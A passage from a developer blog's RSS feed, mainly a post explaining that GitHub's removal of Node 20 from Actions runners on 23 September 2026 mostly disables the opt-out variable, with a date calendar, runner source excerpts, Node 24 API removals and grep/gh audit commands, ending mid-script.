deploys from git with Nixpacks, Railpack, Dockerfile or Docker Compose, sets up Traefik or Caddy with certificates and schedules database backups. It is not designed to manage containers created by hand, its documentation recommends a fresh server, and its Docker Swarm support is deprecated and will be removed in Coolify v5. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Is Dockhand free for commercial use? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; It is unclear, because its two license texts contradict each other. The repository&amp;#39;s LICENSE.txt is the Business Source License 1.1 with a grant that permits internal business use in production, as long as it is not offered as a SaaS. The license terms on dockhand.pro instead require a paid license for commercial users in production or on shared instances, and the pricing table puts the commercial usage license in the SMB plan at $499 per host per year. Personal use is free with no ambiguity. &lt;/p&gt; &lt;/details&gt; &lt;/div&gt; &lt;/section&gt;</content:encoded><category>Web Development</category><category>Docker</category><category>DevOps</category><category>Containers</category><category>Infrastructure</category><category>Migration</category><author>Marco Orta</author></item><item><title>GitHub Actions Node 20 Deprecation: What Broke on 23 September (and Why node20 Isn&apos;t the Problem)</title><link>https://ortamarco.me/en/blog/what-breaks-github-actions-fall-2026/</link><guid isPermaLink="true">https://ortamarco.me/en/blog/what-breaks-github-actions-fall-2026/</guid><description>GitHub removed Node 20 from Actions runners on Sept 23, but node20 actions don&apos;t fail: they run on Node 24. What broke is the opt-out. Next: macos-14 on Nov 2.</description><pubDate>Sun, 13 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;GitHub removed Node 20 from the Actions runners on 23 September 2026, and an action that declares &lt;code&gt;using: node20&lt;/code&gt; still doesn’t fail for that: since 16 June the runner rewrites &lt;code&gt;node20&lt;/code&gt; to &lt;code&gt;node24&lt;/code&gt; before it executes anything, and it does the same with &lt;code&gt;node12&lt;/code&gt; and &lt;code&gt;node16&lt;/code&gt;. What went away on the 23rd was the escape hatch: the &lt;code&gt;ACTIONS_ALLOW_USE_UNSECURE_NODE_VERSION&lt;/code&gt; variable no longer brings Node 20 back. The next date with real consequences is 2 November, when &lt;code&gt;macos-14&lt;/code&gt; is retired.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;That inverts who is at risk. If your CI has been green since June without that variable, the 23rd changed nothing for you on GitHub-hosted runners. The ones that break are precisely the teams that &lt;em&gt;already hit&lt;/em&gt; an action that can’t handle Node 24, set the variable to keep moving, and filed the real fix under later. And around that date there are four more with real consequences: the self-hosted runner minimum version (25 September), retention for checks and runs (1 October), the &lt;code&gt;macos-14&lt;/code&gt; brownouts (October) and its retirement (2 November).&lt;/p&gt;
&lt;p&gt;I checked this against the runner’s source code and against this site’s own CI, which uses two &lt;code&gt;node20&lt;/code&gt; actions. Everything below comes with its source.&lt;/p&gt;
&lt;h2 id=&quot;the-calendar-by-date&quot;&gt;The calendar, by date&lt;/h2&gt;

































































&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Date&lt;/th&gt;&lt;th&gt;What changes&lt;/th&gt;&lt;th&gt;What breaks&lt;/th&gt;&lt;th&gt;How to detect it&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;14, 16 and 18 Sep&lt;/strong&gt; (11:00-15:00 ET)&lt;/td&gt;&lt;td&gt;Brownouts ahead of the self-hosted runner minimum version&lt;/td&gt;&lt;td&gt;Outdated runners &lt;strong&gt;cannot register or run jobs&lt;/strong&gt; during the window&lt;/td&gt;&lt;td&gt;Runner deprecations API (below)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;17 Sep&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;ubuntu-22.04&lt;/code&gt; and &lt;code&gt;ubuntu-22.04-arm&lt;/code&gt; enter deprecation&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Nothing fails yet&lt;/strong&gt;; queues may be longer&lt;/td&gt;&lt;td&gt;&lt;code&gt;grep&lt;/code&gt; for the label&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;21-30 Sep&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;windows-11-arm&lt;/code&gt; moves to the Visual Studio 2026 image&lt;/td&gt;&lt;td&gt;The toolchain underneath changes&lt;/td&gt;&lt;td&gt;&lt;code&gt;grep windows-11-arm&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;23 Sep&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Node 20 leaves the runners&lt;/td&gt;&lt;td&gt;&lt;code&gt;ACTIONS_ALLOW_USE_UNSECURE_NODE_VERSION&lt;/code&gt; is ignored; Linux ARM32 runners lose support&lt;/td&gt;&lt;td&gt;&lt;code&gt;grep&lt;/code&gt; for the variable&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;25 Sep&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Self-hosted runner minimum version is enforced&lt;/td&gt;&lt;td&gt;Registering requires ≥ 2.329.0; a runner that doesn’t install each release within 30 days &lt;strong&gt;stops receiving jobs&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Deprecations API&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;1 Oct&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Actions retention now covers checks, workflow runs and statuses&lt;/td&gt;&lt;td&gt;Anything past your retention period (90 days by default) &lt;strong&gt;is deleted&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Repo/org retention setting&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;5-31 Oct&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Eight &lt;code&gt;macos-14&lt;/code&gt; brownouts&lt;/td&gt;&lt;td&gt;Jobs scheduled inside the window &lt;strong&gt;fail&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;grep macos-14&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;2 Nov&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;macos-14&lt;/code&gt; retired&lt;/td&gt;&lt;td&gt;Jobs with that label &lt;strong&gt;terminate with an error&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;grep macos-14&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;17 Apr 2027&lt;/td&gt;&lt;td&gt;&lt;code&gt;ubuntu-22.04&lt;/code&gt; retired (brownouts before, in March and April)&lt;/td&gt;&lt;td&gt;Jobs terminate with an error&lt;/td&gt;&lt;td&gt;&lt;code&gt;grep&lt;/code&gt; for the label&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;h2 id=&quot;1-node-20-what-actually-happens-on-23-september&quot;&gt;1. Node 20: what actually happens on 23 September&lt;/h2&gt;
&lt;h3 id=&quot;what-the-notice-says&quot;&gt;What the notice says&lt;/h3&gt;
&lt;p&gt;GitHub’s &lt;a href=&quot;https://github.blog/changelog/2025-09-19-deprecation-of-node-20-on-github-actions-runners/&quot;&gt;changelog post from 19 September 2025&lt;/a&gt;, with an editor’s note dated 25 August 2026, sets two dates: from &lt;strong&gt;16 June 2026&lt;/strong&gt; runners use Node 24 by default, and the &lt;code&gt;ACTIONS_ALLOW_USE_UNSECURE_NODE_VERSION=true&lt;/code&gt; opt-out back to Node 20 “will only work until we upgrade the runner and remove Node20 on &lt;strong&gt;September 23rd, 2026&lt;/strong&gt;.” It adds two platform limits: Node 24 is incompatible with macOS 13.4 and lower, and it has no official ARM32 support.&lt;/p&gt;
&lt;p&gt;What the notice does not explain is what happens to an action whose &lt;code&gt;action.yml&lt;/code&gt; still says &lt;code&gt;using: node20&lt;/code&gt;. That lives in the code.&lt;/p&gt;
&lt;h3 id=&quot;what-the-runner-code-says&quot;&gt;What the runner code says&lt;/h3&gt;
&lt;p&gt;In &lt;a href=&quot;https://github.com/actions/runner/blob/main/src/Runner.Worker/Handlers/HandlerFactory.cs&quot;&gt;&lt;code&gt;HandlerFactory.cs&lt;/code&gt;&lt;/a&gt; (identical at tag v2.337.0, the current release), the runner does two things before launching a JavaScript action:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;If the action declares &lt;code&gt;node12&lt;/code&gt; or &lt;code&gt;node16&lt;/code&gt;, it bumps it to &lt;code&gt;node20&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;If it ends up on &lt;code&gt;node20&lt;/code&gt;, it asks &lt;a href=&quot;https://github.com/actions/runner/blob/main/src/Runner.Common/Util/NodeUtil.cs&quot;&gt;&lt;code&gt;NodeUtil.DetermineActionsNodeVersion&lt;/code&gt;&lt;/a&gt; which version to use.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;That function has three phases, driven by feature flags on GitHub’s side:&lt;/p&gt;
&lt;pre class=&quot;language-csharp&quot; data-language=&quot;csharp&quot;&gt;&lt;code class=&quot;language-csharp&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Phase 3: Always use Node 24 regardless of environment variables&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;requireNode24&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Constants&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Runner&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;NodeMigration&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Node24&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// ...&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// Phase 2: Node 24 is the default&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;useNode24ByDefault&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;allowUnsecureNode&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Constants&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Runner&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;NodeMigration&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Node20&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Constants&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Runner&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;NodeMigration&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Node24&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/actions/runner/pull/3948&quot;&gt;PR #3948&lt;/a&gt;, which introduced this, is blunt about it: in phase 3, “All actions use Node 24” and “No opt-out options available.” No branch returns an error for declaring &lt;code&gt;node20&lt;/code&gt;. The action runs on a different Node, which is very different from not running.&lt;/p&gt;
&lt;p&gt;Note the order too: &lt;code&gt;node12&lt;/code&gt; → &lt;code&gt;node20&lt;/code&gt; → &lt;code&gt;node24&lt;/code&gt;. An old action with &lt;code&gt;using: node16&lt;/code&gt; (for example &lt;code&gt;actions/checkout@v3&lt;/code&gt;) ends up on Node 24 as well.&lt;/p&gt;
&lt;h3 id=&quot;the-proof-this-sites-ci&quot;&gt;The proof: this site’s CI&lt;/h3&gt;
&lt;p&gt;This blog’s CI workflow uses &lt;code&gt;actions/checkout@v4&lt;/code&gt; and &lt;code&gt;actions/setup-node@v4&lt;/code&gt;. The official &lt;code&gt;action.yml&lt;/code&gt; files at those tags declare &lt;code&gt;using: node20&lt;/code&gt;; from &lt;code&gt;v5&lt;/code&gt; onward they declare &lt;code&gt;node24&lt;/code&gt; (I checked tags &lt;code&gt;v4&lt;/code&gt; through &lt;code&gt;v7&lt;/code&gt; of both). The run on 11 September, on runner 2.337.0 with the &lt;code&gt;ubuntu-24.04&lt;/code&gt; image, finished green with this annotation:&lt;/p&gt;
&lt;pre class=&quot;language-plaintext&quot; data-language=&quot;plaintext&quot;&gt;&lt;code class=&quot;language-plaintext&quot;&gt;Node.js 20 is deprecated. The following actions target Node.js 20 but are being
forced to run on Node.js 24: actions/checkout@v4, actions/setup-node@v4.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And in the log of those two actions’ steps, this line:&lt;/p&gt;
&lt;pre class=&quot;language-plaintext&quot; data-language=&quot;plaintext&quot;&gt;&lt;code class=&quot;language-plaintext&quot;&gt;Node 20 is being deprecated. This workflow is running with Node 24 by default.
If you need to temporarily use Node 20, you can set the
ACTIONS_ALLOW_USE_UNSECURE_NODE_VERSION=true environment variable.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The same annotation appears on the very first run of that workflow, on 23 August. In other words, my two &lt;code&gt;node20&lt;/code&gt; actions have never run on Node 20 in this CI, and I didn’t touch anything to make that happen. 23 September doesn’t change their runtime, because that change already happened in June. Bumping them to &lt;code&gt;v5&lt;/code&gt; or later clears the annotation, and it’s worth doing, but there’s no clock on it.&lt;/p&gt;
&lt;h3 id=&quot;what-it-looks-like-when-it-does-break&quot;&gt;What it looks like when it does break&lt;/h3&gt;
&lt;p&gt;There are three real ways to fail, and none of them is a GitHub message saying “Node 20 no longer exists.”&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;You had the variable set.&lt;/strong&gt; Some action of yours tripped on Node 24 after 16 June, you set &lt;code&gt;ACTIONS_ALLOW_USE_UNSECURE_NODE_VERSION: true&lt;/code&gt;, and it stayed on Node 20. In phase 3 the runner &lt;strong&gt;ignores the variable without telling you&lt;/strong&gt;: the &lt;code&gt;requireNode24&lt;/code&gt; branch returns &lt;code&gt;null&lt;/code&gt; as its message. The action goes back to Node 24, and the error you see is its own code’s error, the same one you saw the first time. One hint that phase 3 is live: with the current runner code, the “If you need to temporarily use Node 20…” line disappears from the log, because it is only printed while Node 24 is the default but not yet mandatory.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The action uses something Node 24 removed.&lt;/strong&gt; Per the &lt;a href=&quot;https://nodejs.org/docs/latest-v24.x/api/deprecations.html&quot;&gt;Node 24 deprecations table&lt;/a&gt; and the &lt;a href=&quot;https://nodejs.org/en/blog/release/v24.0.0&quot;&gt;24.0.0 release notes&lt;/a&gt;, these reached end-of-life in that release:&lt;/p&gt;






























&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;API&lt;/th&gt;&lt;th&gt;Status in Node 24&lt;/th&gt;&lt;th&gt;How it fails&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;tls.createSecurePair()&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Removed (DEP0064)&lt;/td&gt;&lt;td&gt;&lt;code&gt;TypeError: ... is not a function&lt;/code&gt; when called&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;fs.truncate()&lt;/code&gt; with a file descriptor&lt;/td&gt;&lt;td&gt;Removed (DEP0081)&lt;/td&gt;&lt;td&gt;Throws &lt;code&gt;ERR_INVALID_ARG_TYPE&lt;/code&gt;: it expects a path. Use &lt;code&gt;fs.ftruncate()&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;dirent.path&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Removed (DEP0178)&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Doesn’t throw on its own&lt;/strong&gt;: the property is gone and you read &lt;code&gt;undefined&lt;/code&gt;. Use &lt;code&gt;dirent.parentPath&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;OutgoingMessage.prototype._headers&lt;/code&gt; / &lt;code&gt;_headerNames&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Removed (DEP0066)&lt;/td&gt;&lt;td&gt;You read &lt;code&gt;undefined&lt;/code&gt;. Use &lt;code&gt;getHeaders()&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;dirent.path&lt;/code&gt; is the sneakiest one on the list, because reading it throws nothing: the failure shows up later, wherever that path gets used, or never, if it’s only concatenated into a string and comes out as &lt;code&gt;undefined/file&lt;/code&gt;. If you maintain an action that walks directories, search for that property before you trust the green check.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Your self-hosted runner can’t run Node 24.&lt;/strong&gt; On Linux ARM32, the same &lt;code&gt;NodeUtil.cs&lt;/code&gt; has a kill switch that fails the step with:&lt;/p&gt;
&lt;pre class=&quot;language-plaintext&quot; data-language=&quot;plaintext&quot;&gt;&lt;code class=&quot;language-plaintext&quot;&gt;Linux ARM32 runners are no longer supported. Please migrate to a supported platform.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Before it’s flipped, the runner keeps those actions on Node 20 with a warning whose default date is the Node 20 removal date: “Linux ARM32 runners are deprecated and will no longer be supported after September 23rd, 2026.” GitHub hasn’t published the exact day the switch flips; the changelog only says ARM32 loses support after the Node 20 deprecation. On macOS, &lt;a href=&quot;https://github.com/nodejs/node/blob/v24.x/BUILDING.md&quot;&gt;Node 24’s &lt;code&gt;BUILDING.md&lt;/code&gt;&lt;/a&gt; requires macOS 13.5 or later.&lt;/p&gt;
&lt;h2 id=&quot;2-the-audit-what-to-look-for-and-where&quot;&gt;2. The audit: what to look for and where&lt;/h2&gt;
&lt;h3 id=&quot;in-one-repository&quot;&gt;In one repository&lt;/h3&gt;
&lt;p&gt;Run this from the root:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; data-language=&quot;bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 1. The switch that stops working on 23 September&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-rn&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;ACTIONS_ALLOW_USE_UNSECURE_NODE_VERSION&amp;#39;&lt;/span&gt; .github/

&lt;span class=&quot;token comment&quot;&gt;# 2. Image labels with a date. No &amp;quot;runs-on:&amp;quot; on purpose,&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;#    so matrices show up too (os: [ubuntu-22.04, ...])&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-rnE&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;ubuntu-22\.04|macos-14|windows-11-arm&amp;#39;&lt;/span&gt; .github/

&lt;span class=&quot;token comment&quot;&gt;# 3. Your own or local actions that declare an old Node&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-rnE&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--include&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;action.yml &lt;span class=&quot;token parameter variable&quot;&gt;--include&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;action.yaml &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token string&quot;&gt;&amp;quot;using:[[:space:]]*[&amp;#39;&lt;span class=&quot;token entity&quot; title=&quot;\&amp;quot;&quot;&gt;\&amp;quot;&lt;/span&gt;]?node(12|16|20)&amp;quot;&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Search 2 has a blind spot: &lt;code&gt;runs-on: ${{ vars.RUNNER }}&lt;/code&gt; or a label passed as an input to a reusable workflow won’t show up in any &lt;code&gt;grep&lt;/code&gt;. For those, the log is the source of truth. The “Set up job” step prints the real image:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; data-language=&quot;bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;gh run view &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;run-id&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--log&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-m1&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;Image:&amp;#39;&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# Image: ubuntu-24.04&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the matrix is long or nested, converting it to JSON and filtering it with &lt;code&gt;jq&lt;/code&gt; is usually faster than reading the YAML by eye:&lt;/p&gt;
&lt;aside class=&quot;not-prose my-8 flex flex-wrap items-center gap-4 rounded-2xl border border-neutral-100 bg-white p-5 transition-all duration-200 hover:shadow-[5px_5px_rgba(0,98,90,0.3),10px_10px_rgba(0,98,90,0.2),15px_15px_rgba(0,98,90,0.1)] dark:border-zinc-800 dark:bg-zinc-900/40&quot; style=&quot;border-left:4px solid #f43f5e&quot;&gt; &lt;span class=&quot;grid size-12 shrink-0 place-items-center rounded-xl&quot; style=&quot;background:#f43f5e1a;color:#f43f5e&quot;&gt;  &lt;/span&gt; &lt;div class=&quot;flex min-w-48 flex-1 flex-col gap-0.5&quot;&gt; &lt;span class=&quot;text-xs font-semibold tracking-wide text-zinc-500 uppercase dark:text-zinc-400&quot;&gt; Free tool &lt;/span&gt; &lt;span class=&quot;text-lg leading-snug font-bold text-blacktext dark:text-mint-50&quot;&gt; JSON and YAML Converter &lt;/span&gt; &lt;span class=&quot;text-sm text-pretty text-zinc-600 dark:text-zinc-400&quot;&gt; Convert JSON to YAML and YAML to JSON instantly, with configurable indentation, download and copy. All in your browser, nothing uploaded. &lt;/span&gt; &lt;/div&gt; &lt;a href=&quot;https://ortamarco.me/en/tools/json-yaml-converter/&quot; data-umami-event=&quot;tool_callout_click&quot; data-umami-event-tool=&quot;conversor-json-yaml&quot; class=&quot;shrink-0 rounded-xl max-sm:w-full max-sm:text-center sm:ml-auto bg-mint-600 px-4 py-2 text-sm! font-semibold text-white! no-underline! transition-colors hover:bg-mint-700 hover:text-white!&quot;&gt; Open tool → &lt;/a&gt; &lt;/aside&gt;
&lt;p&gt;To find out which runtime each third-party action you use declares, including SHA-pinned ones, you have to read its &lt;code&gt;action.yml&lt;/code&gt; at that exact ref. This script does it with &lt;code&gt;gh&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; data-language=&quot;bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-rhoE&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;uses:[[:space:]]*[&amp;#39;&lt;span class=&quot;token entity&quot; title=&quot;\&amp;quot;&quot;&gt;\&amp;quot;&lt;/span&gt;]?[^[:space:]&amp;#39;&lt;span class=&quot;token entity&quot; title=&quot;\&amp;quot;&quot;&gt;\&amp;quot;&lt;/span&gt;#]+@[^[:space:]&amp;#39;&lt;span class=&quot;token entity&quot; title=&quot;\&amp;quot;&quot;&gt;\&amp;quot;&lt;/span&gt;#]+&amp;quot;&lt;/span&gt; .github/ &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-E&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;s/uses:[[:space:]]*[&amp;#39;&lt;span class=&quot;token entity&quot; title=&quot;\&amp;quot;&quot;&gt;\&amp;quot;&lt;/span&gt;]?//&amp;quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;sort&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-u&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;read&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-r&lt;/span&gt; ref&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;do&lt;/span&gt;
      &lt;span class=&quot;token assign-left variable&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;${ref&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;@*}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;ver&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;${ref&lt;span class=&quot;token operator&quot;&gt;#&lt;/span&gt;*@}&lt;/span&gt;
      &lt;span class=&quot;token keyword&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;&lt;span class=&quot;token variable&quot;&gt;$spec&lt;/span&gt;&amp;quot;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; ./*&lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt;docker://*&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;continue&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;esac&lt;/span&gt;
      &lt;span class=&quot;token assign-left variable&quot;&gt;repo&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;&lt;span class=&quot;token variable&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;cut&lt;/span&gt; -d/ -f1-2 &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;quot;&lt;span class=&quot;token variable&quot;&gt;$spec&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;sub&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;&lt;span class=&quot;token variable&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;cut&lt;/span&gt; -d/ -f3- &lt;span class=&quot;token 